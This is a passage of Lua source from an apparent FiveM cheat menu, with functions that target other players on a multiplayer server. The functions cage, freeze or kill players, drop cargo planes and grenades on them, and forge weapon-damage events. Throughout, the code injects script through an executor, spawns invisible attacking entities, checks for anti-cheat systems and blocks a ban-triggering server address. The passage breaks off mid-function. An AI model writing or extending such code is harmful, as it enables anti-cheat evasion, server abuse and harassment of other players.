attachedPeds[i] if DoesEntityExist(ped) then -- Safe deletion process DetachEntity(ped, true, true) FreezeEntityPosition(ped, false) SetEntityAsMissionEntity(ped, true, true) -- Use a separate thread for deletion to avoid crashes Citizen.CreateThread(function() local deleteAttempts = 0 while DoesEntityExist(ped) and deleteAttempts < 10 do DeleteEntity(ped) Wait(100) deleteAttempts = deleteAttempts + 1 end end) end table.remove(attachedPeds, i) end _IG.attachedPeds[targetPed] = nil end end) ]] menu.utils.safeExecute(code) end function assembledMenuFunctions.stopPlayer(toggleOptions) if not menu.utils.isVehicleWhitelisted("benson") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end local spawnAsObject = menu.vars.spawnVehiclesAsObject and 1 or 0 local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 if toggleOptions then if not toggleOptions.targetInfo then return end local targetInfo = toggleOptions.targetInfo local code if toggleOptions.toggleState then code = string.format( [[ Citizen.CreateThread(function() local targetPed = %d if not DoesEntityExist(targetPed) then return end local targetModel = "benson" local veh = GetVehiclePedIsIn(targetPed, false) if not veh or not DoesEntityExist(veh) then veh = targetPed end local tCoords = GetEntityCoords(veh) local offsetCoords = vector3(tCoords.x + 19.0, tCoords.y + 19.0, tCoords.z + 19.0) local vehicle = nil if %d == 1 and %d == 0 then -- Use CreateObject directly when spawnVehiclesAsObject is true and safeSpawn is false local vehicleHash = GetHashKey(targetModel) RequestModel(vehicleHash) while not HasModelLoaded(vehicleHash) do Wait(0) end vehicle = CreateObject(vehicleHash, offsetCoords.x, offsetCoords.y, offsetCoords.z, true, true, false) if vehicle and DoesEntityExist(vehicle) then SetEntityVisible(vehicle, false, false) SetEntityInvincible(vehicle, true) end else _G.Citizen.Bongs.utils.spawnVehicle(targetModel, offsetCoords, GetEntityHeading(veh), function(veh) if not veh or not DoesEntityExist(veh) then return end Citizen.Wait(50) vehicle = veh SetEntityVisible(vehicle, false, false) SetEntityInvincible(vehicle, true) end, %d) -- Wait for vehicle to be spawned while vehicle == nil do Wait(10) end end if vehicle and DoesEntityExist(vehicle) then AttachEntityToEntityPhysically( vehicle, veh, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1.0, true, true, true, true, 0 ) SetEntityAsMissionEntity(vehicle, true, true) if not _G.stuckPlrTbl then _G.stuckPlrTbl = {} end _G.stuckPlrTbl[targetPed] = vehicle end end) ]], targetInfo.ped, spawnAsObject, safeSpawn, safeSpawn ) else code = string.format( [[ Citizen.CreateThread(function() local targetPed = %d local playerPed = PlayerPedId() if not DoesEntityExist(targetPed) then return end local targetVeh = _G.stuckPlrTbl[targetPed] if not targetVeh or not DoesEntityExist(targetVeh) then return end local origCoords = GetEntityCoords(playerPed) local origHeading = GetEntityHeading(playerPed) SetPedIntoVehicle(playerPed, targetVeh, -1) Citizen.Wait(1000) for i=1, 10 do DeleteEntity(targetVeh) Wait(10) end SetEntityCoords(playerPed, origCoords.x, origCoords.y, origCoords.z) SetEntityHeading(playerPed, origHeading) _G.stuckPlrTbl[targetPed] = nil end) ]], targetInfo.ped ) end code = string.format(code, targetInfo.ped) menu.utils.safeExecute(code) end end function assembledMenuFunctions.cagePlayer(option) local serverEndpoint = Ham and Ham.getServerEndpoint and Ham.getServerEndpoint() or "" if serverEndpoint == "194.48.217.174" then menu.utils.notify("Ban Blocked", "error", 4000) return end if not option or not option.targetInfo or not option.targetInfo.serverId then return end if not menu.utils.isObjectWhitelisted("m23_1_prop_m31_container_01b") then menu.utils.notify("Object is blacklisted", "error", 2000) return end local serverId = tonumber(option.targetInfo.serverId) or 0 local code = string.format( [[ local targetServerId = %d if not targetServerId then return end local targetPlayer = GetPlayerFromServerId(targetServerId) if not targetPlayer or targetPlayer == -1 then return end local targetPed = GetPlayerPed(targetPlayer) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return end local objectModel = "m23_1_prop_m31_container_01b" local targetCoords = GetEntityCoords(targetPed) local targetHeading = GetEntityHeading(targetPed) local function alignContainerToPed(obj, pedCoords, heading) if not obj or not DoesEntityExist(obj) then return end SetEntityCoordsNoOffset(obj, pedCoords.x, pedCoords.y, pedCoords.z, false, false, false) SetEntityRotation(obj, 90.0, 0.0, heading, 2, true) local hash = GetEntityModel(obj) local minDim, maxDim = GetModelDimensions(hash) local localCenter = vector3( (minDim.x + maxDim.x) * 0.5, (minDim.y + maxDim.y) * 0.5, (minDim.z + maxDim.z) * 0.5 ) local worldCenter = GetOffsetFromEntityInWorldCoords(obj, localCenter.x, localCenter.y, localCenter.z) local objCoords = GetEntityCoords(obj) SetEntityCoordsNoOffset( obj, objCoords.x + (pedCoords.x - worldCenter.x), objCoords.y + (pedCoords.y - worldCenter.y), objCoords.z + (pedCoords.z - worldCenter.z), false, false, false ) local lowestZ = nil local corners = { {minDim.x, minDim.y, minDim.z}, {minDim.x, minDim.y, maxDim.z}, {minDim.x, maxDim.y, minDim.z}, {minDim.x, maxDim.y, maxDim.z}, {maxDim.x, minDim.y, minDim.z}, {maxDim.x, minDim.y, maxDim.z}, {maxDim.x, maxDim.y, minDim.z}, {maxDim.x, maxDim.y, maxDim.z}, } for _, c in ipairs(corners) do local world = GetOffsetFromEntityInWorldCoords(obj, c[1], c[2], c[3]) if not lowestZ or world.z < lowestZ then lowestZ = world.z end end if lowestZ then objCoords = GetEntityCoords(obj) local targetBottomZ = pedCoords.z - 3.0 SetEntityCoordsNoOffset( obj, objCoords.x, objCoords.y, objCoords.z + (targetBottomZ - lowestZ), false, false, false ) end SetEntityAsMissionEntity(obj, true, true) SetEntityInvincible(obj, true) FreezeEntityPosition(obj, true) end CreateThread(function() local hash = GetHashKey(objectModel) RequestModel(hash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Citizen.Wait(10) end if not HasModelLoaded(hash) then return end local obj = CreateObject(hash, targetCoords.x, targetCoords.y, targetCoords.z, true, true, false) if obj and obj ~= 0 and DoesEntityExist(obj) then Citizen.Wait(50) alignContainerToPed(obj, targetCoords, targetHeading) end SetModelAsNoLongerNeeded(hash) end) ]], serverId ) menu.utils.safeExecute(code) end function assembledMenuFunctions.fallingTent(option) if not option or not option.targetInfo then return end local selectedCount = 0 for _ in pairs(menu.vars.selectedPlayers or {}) do selectedCount = selectedCount + 1 end if 1 < selectedCount then menu.utils.notify("Falling only works on a single player", "error", 2500) return end if not menu.utils.isObjectWhitelisted("prop_skid_tent_01") then menu.utils.notify("Object is blacklisted", "error", 2000) return end local code = " local targetPed = " .. option.targetInfo.ped .. [[ CreateThread(function() if not targetPed or not DoesEntityExist(targetPed) then return end local hash = GetHashKey("prop_skid_tent_01") RequestModel(hash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(hash) then return end local pedCoords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) local rad = math.rad(heading) local frontX = pedCoords.x + (-math.sin(rad)) * 50.0 local frontY = pedCoords.y + (math.cos(rad)) * 50.0 local allTents = {} local function spawnTentPairAtPlayer() local pc = GetEntityCoords(targetPed) local hd = GetEntityHeading(targetPed) local r = math.rad(hd) local fx = pc.x + (-math.sin(r)) * 50.0 local fy = pc.y + (math.cos(r)) * 50.0 local t1 = CreateObject(hash, fx, fy, pc.z, true, true, true) local t2 = CreateObject(hash, fx + 0.2, fy, pc.z, true, true, true) if t1 and t1 ~= 0 and DoesEntityExist(t1) then FreezeEntityPosition(t1, true) SetEntityAlpha(t1, 0, false) SetEntityVisible(t1, false, false) end if t2 and t2 ~= 0 and DoesEntityExist(t2) then FreezeEntityPosition(t2, true) SetEntityAlpha(t2, 0, false) SetEntityVisible(t2, false, false) end Wait(300) local pos = GetEntityCoords(targetPed) if t1 and DoesEntityExist(t1) then SetEntityCoordsNoOffset(t1, pos.x, pos.y, pos.z, false, false, false) FreezeEntityPosition(t1, true) end if t2 and DoesEntityExist(t2) then SetEntityCoordsNoOffset(t2, pos.x + 0.2, pos.y, pos.z, false, false, false) FreezeEntityPosition(t2, true) end allTents[#allTents + 1] = t1 allTents[#allTents + 1] = t2 end spawnTentPairAtPlayer() CreateThread(function() Wait(3000) if DoesEntityExist(targetPed) and not IsEntityDead(targetPed) then spawnTentPairAtPlayer() end end) while DoesEntityExist(targetPed) and not IsEntityDead(targetPed) do local pos = GetEntityCoords(targetPed) for idx, tent in ipairs(allTents) do if tent and DoesEntityExist(tent) then local offsetX = ((idx % 2) == 0) and 0.2 or 0.0 SetEntityCoordsNoOffset(tent, pos.x + offsetX, pos.y, pos.z, false, false, false) FreezeEntityPosition(tent, true) end end Wait(600) end SetModelAsNoLongerNeeded(hash) end) ]] menu.utils.safeExecute(code) end function assembledMenuFunctions.bringPlayerAttach(option) local ped = option.targetInfo.ped if IsPedInAnyVehicle(ped, false) then return end if not menu.utils.isVehicleWhitelisted("jugular") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end local code = [[ Citizen.CreateThread(function() local myPed = PlayerPedId() local myCoords = GetEntityCoords(PlayerPedId()) local targetPed = ]] .. ped .. [[ if not DoesEntityExist(targetPed) then return end local targetPos = GetEntityCoords(targetPed) local originalCoords = GetEntityCoords(myPed) local originalHeading = GetEntityHeading(myPed) _G.Citizen.Bongs.utils.spawnVehicle("jugular", originalCoords, 0.0, function(bugVehicle) SetEntityCoords(bugVehicle, originalCoords.x, originalCoords.y, originalCoords.z + 2.0, false, false, false, true) SetEntityCoords(myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) Wait(200) SetPedIntoVehicle(myPed, bugVehicle, -1) Wait(200) CreateThread(function() local startTime = GetGameTimer() local duration = 100 while GetGameTimer() - startTime < duration do AttachEntityToEntityPhysically(bugVehicle, targetPed, 0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, true, true, true, true, 0) Wait(0) end -- Clean up Citizen.Wait(200) if DoesEntityExist(bugVehicle) then SetPedIntoVehicle(myPed, bugVehicle, -1) Citizen.Wait(150) while DoesEntityExist(bugVehicle) do DeleteEntity(bugVehicle) Citizen.Wait(5) end SetEntityCoords(myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) SetEntityHeading(myPed, originalHeading) SetEntityVisible(myPed, true, 0) SetEntityAlpha(myPed, 255, 0) ResetEntityAlpha(myPed) end end) end) end) ]] menu.utils.safeExecute(code) end function assembledMenuFunctions.kickPlayerFromVehicle(option) local ped = option.targetInfo.ped if IsPedInAnyVehicle(ped, false) then local vehicle = GetVehiclePedIsIn(ped, false) SetVehicleExclusiveDriver_2(vehicle, PlayerPedId(), 0) SetVehicleExclusiveDriver_2(vehicle, PlayerPedId(), -1) else menu.utils.notify("Player is not in a vehicle.", "error") end end function assembledMenuFunctions.addFriendTarget(option) if not option or not option.targetInfo or not option.targetInfo.serverId then menu.utils.notify("Invalid target.", "error", 2000) return end local serverId = tonumber(option.targetInfo.serverId) if not serverId then menu.utils.notify("Invalid server id.", "error", 2000) return end menu.vars.friendList = menu.vars.friendList or {} menu.vars.friendList[serverId] = true menu.vars.friendList[tostring(serverId)] = true menu.utils.notify("Added to friend list: " .. tostring(serverId), "success", 2000) end function assembledMenuFunctions.removeFriendTarget(option) if not option or not option.targetInfo or not option.targetInfo.serverId then menu.utils.notify("Invalid target.", "error", 2000) return end local serverId = tonumber(option.targetInfo.serverId) if not serverId then menu.utils.notify("Invalid server id.", "error", 2000) return end menu.vars.friendList = menu.vars.friendList or {} menu.vars.friendList[serverId] = nil menu.vars.friendList[tostring(serverId)] = nil menu.utils.notify("Removed from friend list: " .. tostring(serverId), "info", 2000) end function assembledMenuFunctions.friendActionTarget(option) if not option or not option.targetInfo then menu.utils.notify("Invalid target.", "error", 2000) return end local action = tostring(option.selectedValue or "Add") if action == "Remove" then menu.functions.removeFriendTarget(option) return end if action == "Clear Friend List" then menu.functions.clearFriendList() return end menu.functions.addFriendTarget(option) end function assembledMenuFunctions.clearFriendList() menu.vars.friendList = {} menu.utils.notify("Friend list cleared.", "info", 2000) end function assembledMenuFunctions.syncVanityFriendsToFriendList() if not menu.vars.vanityFriends or not next(menu.vars.vanityFriends) then return end menu.vars.friendList = menu.vars.friendList or {} for _, user in pairs(menu.vars.vanityMenuUsers or {}) do local username = user and user.username local serverId = user and tonumber(user.serverId) if username and serverId and menu.utils.isVanityHamFriendUsername(username) then menu.vars.friendList[serverId] = true menu.vars.friendList[tostring(serverId)] = true end end end function assembledMenuFunctions.persistVanityFriends() if menu.configSystem and menu.configSystem.saveVanityFriendsToServer then menu.configSystem.saveVanityFriendsToServer() end end function assembledMenuFunctions.getVanityFriendsMenuOptions() local options = {} local friends = menu.vars.vanityFriends or {} local usernames = {} for username in pairs(friends) do usernames[#usernames + 1] = username end table.sort(usernames, function(first, second) return string.lower(tostring(friends[first] or first)) < string.lower(tostring(friends[second] or second)) end) if #usernames == 0 then return options end for _, username in ipairs(usernames) do local displayName = friends[username] or username options[#options + 1] = { name = "Remove: " .. displayName, type = "button", func = "removeVanityFriend", funcArg = username, description = "Remove " .. displayName .. " from your friend list" } end return options end function assembledMenuFunctions.removeVanityFriend(option) local username if not option then username = option else username = option.funcArg end if not username or not menu.vars.vanityFriends or not menu.vars.vanityFriends[username] then menu.utils.notify("Friend not found.", "error", 2000) return end local displayName = menu.vars.vanityFriends[username] menu.vars.vanityFriends[username] = nil menu.vars.friendList = menu.vars.friendList or {} for _, user in pairs(menu.vars.vanityMenuUsers or {}) do if user.username and menu.utils.normalizeHamUsername(user.username) == username then local serverId = tonumber(user.serverId) if serverId then menu.vars.friendList[serverId] = nil menu.vars.friendList[tostring(serverId)] = nil end end end menu.functions.persistVanityFriends() menu.utils.notify("Removed friend: " .. displayName, "info", 2000) end function assembledMenuFunctions.addVanityFriend(unused) menu.ui.promptText({ title = "Add Friend", label = "Ham Username", placeholder = "Enter Ham username", default = "", maxLen = 32 }, function(username, cancelled) if cancelled then return end if not username or username == "" then menu.utils.notify("No username entered", "error", 2000) return end username = string.gsub(username, "^%s*(.-)%s*$", "%1") if username == "" then return end local normalized = menu.utils.normalizeHamUsername(username) if normalized == "" then return end menu.vars.vanityFriends = menu.vars.vanityFriends or {} if menu.vars.vanityFriends[normalized] then menu.utils.notify("Already on friend list: " .. username, "info", 2000) return end menu.vars.vanityFriends[normalized] = username menu.functions.syncVanityFriendsToFriendList() menu.functions.persistVanityFriends() menu.utils.notify("Added friend: " .. username, "success", 2000) end) end function assembledMenuFunctions.silentKill(option) local targetInfo = option and option.targetInfo if menu.utils.isTargetFriend(targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end local pedModel = menu.utils.getFirstWhitelistedSilentAttackPed() if not pedModel then menu.utils.notify("Function is not available", "error", 2000) return end menu.utils.printSilentAttackPedModel("Silent Kill", pedModel) local unarmedWeapon = "WEAPON_UNARMED" local normalWeapon = menu.vars.normalWeapon Ham.setWeaponOverride(GetHashKey(normalWeapon), GetHashKey(unarmedWeapon)) Ham.setWeaponDamageOverride(GetHashKey(normalWeapon), 50) local code = [[ local function GetTargetBonePosition(targetPed, boneId) if not DoesEntityExist(targetPed) then return nil end local boneIndex = GetPedBoneIndex(targetPed, boneId) if boneIndex == -1 then return GetEntityCoords(targetPed, true) end return GetPedBoneCoords(targetPed, boneIndex, 0.0, 0.0, 0.0) end Citizen.CreateThread(function() local model = GetHashKey("]] .. pedModel .. [[ ") if not _G.kasierer or not DoesEntityExist(_G.kasierer) then RequestModel(model) while not HasModelLoaded(model) do Wait(0) end local meCoords = GetEntityCoords(PlayerPedId()) _G.kasierer = CreatePed(4, model, meCoords.x, meCoords.y - 10.0, meCoords.z, 0.0, true, true) Citizen.Wait(50) SetEntityVisible(_G.kasierer, false, false) SetEntityInvincible(_G.kasierer, true) SetModelAsNoLongerNeeded(model) Citizen.CreateThread(function() while _G.kasierer and DoesEntityExist(_G.kasierer) do local newCoords = GetEntityCoords(PlayerPedId()) SetEntityCoords(_G.kasierer, newCoords.x, newCoords.y - 10.0, newCoords.z) Wait(50) end end) end local targetPed = %d if targetPed ~= -1 then local entityToIgnore = GetVehiclePedIsIn(targetPed, false) for i = 1, 30 do if not DoesEntityExist(targetPed) or IsPedDeadOrDying(targetPed, true) then break end local headPos = GetTargetBonePosition(targetPed, 31086) if not headPos or not headPos.x then break end local startPos = headPos local endPos = vector3( headPos.x, headPos.y, headPos.z + 0.05 ) ShootSingleBulletBetweenCoordsIgnoreEntity( startPos.x, startPos.y, startPos.z, endPos.x, endPos.y, endPos.z, 50, true, ]] .. GetHashKey(normalWeapon) .. [[ , _G.kasierer, true, false, 1000.0, entityToIgnore ) Wait(50) end end end) ]] code = string.format(code, option.targetInfo.ped) menu.utils.safeExecute(code) end function assembledMenuFunctions.cargoRainPlayer(toggleOptions) if not toggleOptions or not toggleOptions.targetInfo then return end local targetInfo = toggleOptions.targetInfo local serverId = tonumber(targetInfo.serverId) local loopKey = serverId or targetInfo.ped if not loopKey then return end menu.vars.cargoRainLoops = menu.vars.cargoRainLoops or {} local loops = menu.vars.cargoRainLoops local function clearToggle() if menu.vars.indivBools and menu.vars.indivBools.cargoRainPlayer and targetInfo.ped then menu.vars.indivBools.cargoRainPlayer[targetInfo.ped] = false end end local function isAllowed() local antiCheats = menu.vars.antiCheats or {} if antiCheats.WaveShield == true then return not antiCheats.FiveGuard end return false end local function releasePlanes(state) for _, plane in ipairs(state.planes) do if DoesEntityExist(plane.entity) then FreezeEntityPosition(plane.entity, false) SetEntityHasGravity(plane.entity, true) end end state.planes = {} end if not toggleOptions.toggleState or not isAllowed() then local state = loops[loopKey] loops[loopKey] = nil if state then releasePlanes(state) end clearToggle() return end local selectedCount = 0 for _ in pairs(menu.vars.selectedPlayers or {}) do selectedCount = selectedCount + 1 end if 1 < selectedCount then clearToggle() menu.utils.notify("Cargo Rain only works on one player at a time.", "error", 2500) return end for otherKey in pairs(loops) do if otherKey ~= loopKey then clearToggle() menu.utils.notify("Cargo Rain only works on one player at a time.", "error", 2500) return end end if menu.utils.isTargetFriend(targetInfo) then clearToggle() menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end if loops[loopKey] then return end local state = { planes = {} } loops[loopKey] = state CreateThread(function() local planeModel = GetHashKey("cargoplane2") local decorator = "pm_cargo_spawn" local function isRunning() return loops[loopKey] == state and isAllowed() end local success, err = pcall(function() if not IsModelInCdimage(planeModel) or not IsModelAVehicle(planeModel) then menu.utils.notify("Cargo plane model is unavailable.", "error", 2500) return end RequestModel(planeModel) local loadTimeout = GetGameTimer() + 5000 while isRunning() and not HasModelLoaded(planeModel) and loadTimeout > GetGameTimer() do Wait(0) end if not isRunning() or not HasModelLoaded(planeModel) then return end if not DecorIsRegisteredAsType(decorator, 3) then DecorRegister(decorator, 3) end local nextSpawnAt = 0 local spawnedCount = 0 local pendingSpawn = nil while isRunning() do local targetPed = targetInfo.ped if serverId then local player = GetPlayerFromServerId(serverId) if not player or player == -1 then return end targetPed = GetPlayerPed(player) end if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return end local targetCoords = GetEntityCoords(targetPed) local now = GetGameTimer() if spawnedCount < 10 and not pendingSpawn and nextSpawnAt <= now then menu.vars.cargoSpawnSequence = (menu.vars.cargoSpawnSequence or 0) + 1 local token = (GetGameTimer() + menu.vars.cargoSpawnSequence) % 2147483647 pendingSpawn = { token = token, deadline = now + 6500 } local spawned = menu.utils.safeExecute( string.format( [[ Citizen.CreateThread(function() local tag, token = %q, %d local coords = { x = %.6f, y = %.6f, z = %.6f } _G.Citizen = _G.Citizen or Citizen or {} _G.Citizen.Bongs = _G.Citizen.Bongs or {} if not _G.Citizen.Bongs.utils or not _G.Citizen.Bongs.utils.spawnVehicle then return end _G.Citizen.Bongs.utils.spawnVehicle("cargoplane2", coords, 0.0, function(vehicle) if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return end SetEntityAsMissionEntity(vehicle, true, true) FreezeEntityPosition(vehicle, false) SetEntityHasGravity(vehicle, true) if not DecorIsRegisteredAsType(tag, 3) then DecorRegister(tag, 3) end DecorSetInt(vehicle, tag, token) end, %d) end) ]], decorator, token, targetCoords.x, targetCoords.y, targetCoords.z + 50.0, menu.vars.bools.safeVehicleSpawn and 1 or 0 ) ) if not spawned then error("No safe resource available for cargo spawn") end nextSpawnAt = now + 3000 end if pendingSpawn then local planeEntity = nil for _, vehicle in ipairs(GetGamePool("CVehicle")) do if DoesEntityExist(vehicle) and DecorExistOn(vehicle, decorator) and DecorGetInt(vehicle, decorator) == pendingSpawn.token then planeEntity = vehicle break end end if planeEntity and planeEntity ~= 0 then DecorRemove(planeEntity, decorator) pendingSpawn = nil spawnedCount = spawnedCount + 1 SetEntityAsMissionEntity(planeEntity, true, true) SetEntityCollision(planeEntity, true, true) FreezeEntityPosition(planeEntity, false) SetEntityHasGravity(planeEntity, true) SetEntityVelocity(planeEntity, 0.0, 0.0, 0.0) table.insert(state.planes, { entity = planeEntity, spawnedAt = now, phase = math.random() * math.pi * 2.0 }) elseif now >= pendingSpawn.deadline then error("Cargo was not found after safe-resource spawn") end end local anyPlanes = false for _, plane in ipairs(state.planes) do if DoesEntityExist(plane.entity) then local age = now - plane.spawnedAt if 3000 <= age and now >= (plane.nextForceAt or 0) then plane.nextForceAt = now + 115 local entity = plane.entity targetCoords = GetEntityCoords(targetPed) local approachForce = 17.0 local orbitDistance = 6.0 local orbitDuration = 2800 local maxSpeed = 38.0 if not NetworkHasControlOfEntity(entity) then NetworkRequestControlOfEntity(entity) end if NetworkHasControlOfEntity(entity) then if not plane.blackholePlaced then local offsetX = math.random(-18, 18) * 0.1 local offsetY = math.random(-18, 18) * 0.1 SetEntityCoordsNoOffset( entity, targetCoords.x + offsetX, targetCoords.y + offsetY, targetCoords.z + 1.2, false, false, false ) plane.blackholePlaced = true end FreezeEntityPosition(entity, false) local entityCoords = GetEntityCoords(entity) local delta = targetCoords - entityCoords local distance = #delta local phase = plane.blackholePhase if not phase then phase = { mode = "approach", endAt = 0, seed = math.random() * 6.28318 } plane.blackholePhase = phase end if phase.mode == "approach" and orbitDistance > distance then phase.mode = "orbit" phase.startAt = now phase.endAt = now + orbitDuration + math.random(-350, 350) elseif phase.mode == "orbit" and now >= phase.endAt then phase.mode = "approach" end if phase.mode == "orbit" and now < phase.endAt then local relativeX = entityCoords.x - targetCoords.x local relativeY = entityCoords.y - targetCoords.y local planarDistance = math.sqrt(relativeX * relativeX + relativeY * relativeY) if planarDistance < 0.12 then planarDistance = 0.12 end local tangentX = -relativeY / planarDistance local tangentY = relativeX / planarDistance local duration = math.max(1, phase.endAt - (phase.startAt or now)) local progress = math.min(1.0, math.max(0.0, (phase.endAt - now) / duration)) local remaining = 1.0 - progress local divisor = math.max(0.2, distance) local directionX = delta.x / divisor local directionY = delta.y / divisor local directionZ = delta.z / divisor local swirlScale = 0.12 + 0.68 * progress local tangentForce = 2.8 + progress * 4.2 local attraction = 9.0 + remaining * 22.0 local verticalWave = math.sin(now * 0.0078 + phase.seed) * 1.1 * swirlScale local forceX = tangentX * tangentForce * swirlScale + directionX * attraction local forceY = tangentY * tangentForce * swirlScale + directionY * attraction local forceZ = verticalWave + directionZ * attraction * 0.9 local torqueScale = (2.2 + remaining * 9.0) * 3.0 ApplyForceToEntity( entity, 1, forceX * 2.0, forceY * 2.0, forceZ * 2.0, (math.random() - 0.5) * torqueScale, (math.random() - 0.5) * torqueScale, (math.random() - 0.5) * torqueScale * 1.1, 0, false, true, true, false, true ) elseif 0.22 < distance then local directionX = delta.x / distance local directionY = delta.y / distance local directionZ = delta.z / distance local distanceScale = math.max(distance, 14.0) local closeScale = 1.0 if distance < 12.0 then closeScale = math.min(1.35, 1.0 + (12.0 - distance) * 0.09) end local forceScale = approachForce * (1.0 + 9.0 / distanceScale) * closeScale local verticalBoost = math.min(0.55, distance * 0.022) local randomScale = math.min(0.65, distance / 18.0) local randomX = math.random(-4, 4) * randomScale local randomY = math.random(-4, 4) * randomScale local randomZ = math.random(-4, 4) * randomScale ApplyForceToEntity( entity, 1, directionX * forceScale, directionY * forceScale, directionZ * forceScale + verticalBoost, randomX * 3.0, randomY * 3.0, randomZ * 3.0, 0, false, true, true, false, true ) end if NetworkHasControlOfEntity(entity) then local velocity = GetEntityVelocity(entity) local velocityX = velocity.x or velocity[1] or 0.0 local velocityY = velocity.y or velocity[2] or 0.0 local velocityZ = velocity.z or velocity[3] or 0.0 local speed = math.sqrt( velocityX * velocityX + velocityY * velocityY + velocityZ * velocityZ ) if maxSpeed < speed then local scale = maxSpeed / speed SetEntityVelocity( entity, velocityX * scale, velocityY * scale, velocityZ * scale ) end end end end anyPlanes = true end end if 10 <= spawnedCount and not anyPlanes then return end Wait(0) end end) releasePlanes(state) SetModelAsNoLongerNeeded(planeModel) if loops[loopKey] == state then loops[loopKey] = nil clearToggle() end if not success then menu.utils.notify("Cargo Rain stopped: " .. tostring(err), "error", 2500) end end) end function assembledMenuFunctions.grenadeRainPlayer(option) if not option or not option.targetInfo then return end if menu.utils.isTargetFriend(option.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end if not Ham or not Ham.sendWeaponDamageEvent then menu.utils.notify("Ham damage API unavailable", "error", 2500) return end local serverId = tonumber(option.targetInfo.serverId) if not serverId or serverId <= 0 then return end menu.vars.grenadeRainTargets = menu.vars.grenadeRainTargets or {} if menu.vars.grenadeRainTargets[serverId] then return end menu.vars.grenadeRainTargets[serverId] = true CreateThread(function() local objects = {} local grenadeModel = GetHashKey("w_ex_grenadefrag") local success, err = xpcall(function() local playerId = GetPlayerFromServerId(serverId) if not playerId or playerId == -1 then return end local targetPed = GetPlayerPed(playerId) if targetPed == 0 or not DoesEntityExist(targetPed) or targetPed == PlayerPedId() then return end if IsEntityDead(targetPed) or IsPedDeadOrDying(targetPed, true) then return end RequestModel(grenadeModel) local loadTimeout = GetGameTimer() + 5000 while _G.runmenu and not menu.vars.panicMode and not HasModelLoaded(grenadeModel) and loadTimeout > GetGameTimer() do Wait(0) end if not HasModelLoaded(grenadeModel) then menu.utils.notify("Grenade model could not be loaded.", "error", 2500) return end local targetDead = false local damages = { 20, 21, 35 } local damageIndex = 1 local nextDamageAt = 0 local spawnedCount = 0 local nextSpawnAt = GetGameTimer() local targetCoords = GetEntityCoords(targetPed) while _G.runmenu do if menu.vars.panicMode then return end if spawnedCount >= 50 and #objects == 0 then return end local currentPlayer = GetPlayerFromServerId(serverId) if not currentPlayer or currentPlayer == -1 or currentPlayer ~= playerId then return end if GetPlayerPed(currentPlayer) ~= targetPed or not DoesEntityExist(targetPed) then return end if menu.utils.isTargetFriend(option.targetInfo) then return end if IsEntityDead(targetPed) or IsPedDeadOrDying(targetPed, true) or GetEntityHealth(targetPed) <= 0 then targetDead = true end targetCoords = GetEntityCoords(targetPed) local now = GetGameTimer() if spawnedCount < 50 and nextSpawnAt <= now then local x = targetCoords.x + math.random(-75, 75) / 100.0 local y = targetCoords.y + math.random(-75, 75) / 100.0 local object = CreateObject(grenadeModel, x, y, targetCoords.z + 5.0, false, true, false) if object and object ~= 0 then SetEntityCollision(object, false, false) FreezeEntityPosition(object, true) objects[#objects + 1] = { object = object, x = x, y = y, z = targetCoords.z, started = now } end spawnedCount = spawnedCount + 1 nextSpawnAt = now + 100 end for index = #objects, 1, -1 do local item = objects[index] local elapsed = (now - item.started) / 1000.0 local height = 5.0 - 4.905 * elapsed * elapsed if 0 < height then SetEntityCoordsNoOffset(item.object, item.x, item.y, item.z + height, false, false, false) else DeleteEntity(item.object) table.remove(objects, index) AddExplosion(item.x, item.y, item.z, 0, 0.0, true, false, 0.0, true) if IsEntityDead(targetPed) or IsPedDeadOrDying(targetPed, true) or GetEntityHealth(targetPed) <= 0 then targetDead = true end if not targetDead and nextDamageAt <= now then local damage = damages[damageIndex] local distance = #(GetEntityCoords(PlayerPedId()) - GetEntityCoords(targetPed)) Ham.sendWeaponDamageEvent(serverId, { weaponHash = GetHashKey("WEAPON_BAT"), damage = damage, damageType = 3, hitGlobalId = 0, parentGlobalId = 0, hitComponent = 0, overrideDamage = true, damageTime = GetNetworkTimeAccurate(), f133 = true, isNetTargetPos = true, damageFlags = 517, f112Data = distance, willKill = damage >= GetEntityHealth(targetPed) }) damageIndex = damageIndex % #damages + 1 nextDamageAt = GetGameTimer() + 100 end end end Wait(0) end end, function(value) return tostring(value) end) for _, item in ipairs(objects) do if DoesEntityExist(item.object) then DeleteEntity(item.object) end end SetModelAsNoLongerNeeded(grenadeModel) menu.vars.grenadeRainTargets[serverId] = nil if not success then print("[Vanity] Granade rain: " .. tostring(err)) menu.utils.notify("Granade rain stopped due to an error.", "error", 2500) end end) end function assembledMenuFunctions.tpKnockOutPlayer(option) CreateThread(function() if not option or not option.targetInfo then return end if menu.utils.isTargetFriend(option.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end local serverId = tonumber(option.targetInfo.serverId) if not serverId or serverId <= 0 then return end local function getTargetPed() local playerId = GetPlayerFromServerId(serverId) if not playerId or playerId == -1 then return nil end local targetPed = GetPlayerPed(playerId) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return nil end return targetPed end local function attachToTarget(entity, targetEntity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end if not targetEntity or targetEntity == 0 or not DoesEntityExist(targetEntity) then return end AttachEntityToEntity( targetEntity, entity, 0, 0.0, 0.4, 0.0, 0.0, 0.0, 0.0, false, false, false, true, 2, true ) end local playerPed = PlayerPedId() local wasInvisible = menu.vars.bools and menu.vars.bools.invisibility local wasNoclipInvisible = menu.vars.bools and menu.vars.bools.noclipInvis local targetPed = getTargetPed() if not targetPed then menu.utils.notify("Selected target could not be found.", "error", 2000) return end if targetPed == 